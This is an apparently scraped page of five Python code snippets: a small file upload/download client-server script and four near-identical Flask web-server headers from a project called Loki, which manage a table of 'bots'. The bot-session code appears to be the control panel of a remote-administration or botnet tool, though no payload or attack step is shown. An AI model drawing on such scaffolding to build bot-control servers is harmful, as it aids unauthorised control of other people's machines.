Example #1
0
def main():
    server_port = SERVER_PORT

    server = Server(server_port)
    server_ip = server.server_ip

    client = Client(server_ip, server_port)

    choice = input("1- Server / 2- Client\n")
    if choice == 1:
        print(server.server_ip)
        server.run(NUMBER_OF_CLIENTS)
    else:
        choice_of_client = input("1- Upload / 2- Download\n")
        if choice_of_client == 1:
            file_name = raw_input("Input name of file\n")
            client.upload_file(file_name)
        else:
            client.run()
Example #2
0
from os import urandom
from lib import database, const
from flask_wtf import CSRFProtect
from string import ascii_uppercase
from lib.server.server import Server
from flask import Flask, render_template, request, session, jsonify, redirect, url_for, escape

app = Flask(__name__)
app.config['JSON_SORT_KEYS'] = False
app.config['SECRET_KEY'] = urandom(0x200)  # cookie encryption

# Protection against CSRF attack
CSRFProtect(app)

# server
server = Server()
db = database.Database()


def get_bot(bot_id):
    bots = server.interface.bots
    for bot_session in bots:
        if bots[bot_session]['bot_id'] == bot_id:
            return bots[bot_session]


def login_required(func):
    def wrapper(*args, **kwargs):
        if not 'logged_in' in session:
            return redirect(url_for('index'))
        elif not session['logged_in']:
Example #3
0
# Date: 07/02/2018
# Author: Pure-L0G1C
# Description: Web server

from re import match
from os import urandom
from lib import database, const
from string import ascii_uppercase
from lib.server.server import Server
from flask import Flask, render_template, request, session, jsonify, redirect, url_for

app = Flask(__name__)
app.config['SECRET_KEY'] = urandom(0x200)  # cookie encryption

# server
server = Server()
db = database.Database()

# -------- Bots Table -------- #

bots_online_src = ''
bots_signature = None

# -------- Authenticity -------- #


def get_bot(bot_id):
    bots = server.interface.bots
    for bot_session in bots:
        if bots[bot_session]['bot_id'] == bot_id:
            return bots[bot_session]
Example #4
0
File: loki.py Project: hmz777/Loki
# Date: 07/02/2018
# Author: Pure-L0G1C
# Description: Web server

from re import match
from os import urandom
from lib import database, const
from string import ascii_uppercase
from lib.server.server import Server
from flask import Flask, render_template, request, session, jsonify, redirect, url_for

app = Flask(__name__)
app.config['SECRET_KEY'] = urandom(0x200) # cookie encryption

# server
server = Server()
db = database.Database()

# -------- Bots Table -------- #

bots_online_src = ''
bots_signature = None

# -------- Authenticity -------- #

def get_bot(bot_id):
    bots = server.interface.bots
    for bot_session in bots:
        if bots[bot_session]['bot_id'] == bot_id:
            return bots[bot_session]
Example #5
0
# Date: 07/02/2018
# Author: Pure-L0G1C
# Description: Web server

from re import match
from os import urandom
from lib import database, const
from string import ascii_uppercase
from lib.server.server import Server
from flask import Flask, render_template, request, session, jsonify, redirect, url_for

app = Flask(__name__)
app.config['SECRET_KEY'] = urandom(0x200) # cookie encryption

# server
server = Server()
db = database.Database()

# -------- Bots Table -------- #

bots_online_src = ''
bots_signature = None

# -------- Authenticity -------- #

def get_bot(bot_id):
    bots = server.interface.bots
    for bot_session in bots:
        if bots[bot_session]['bot_id'] == bot_id:
            return bots[bot_session]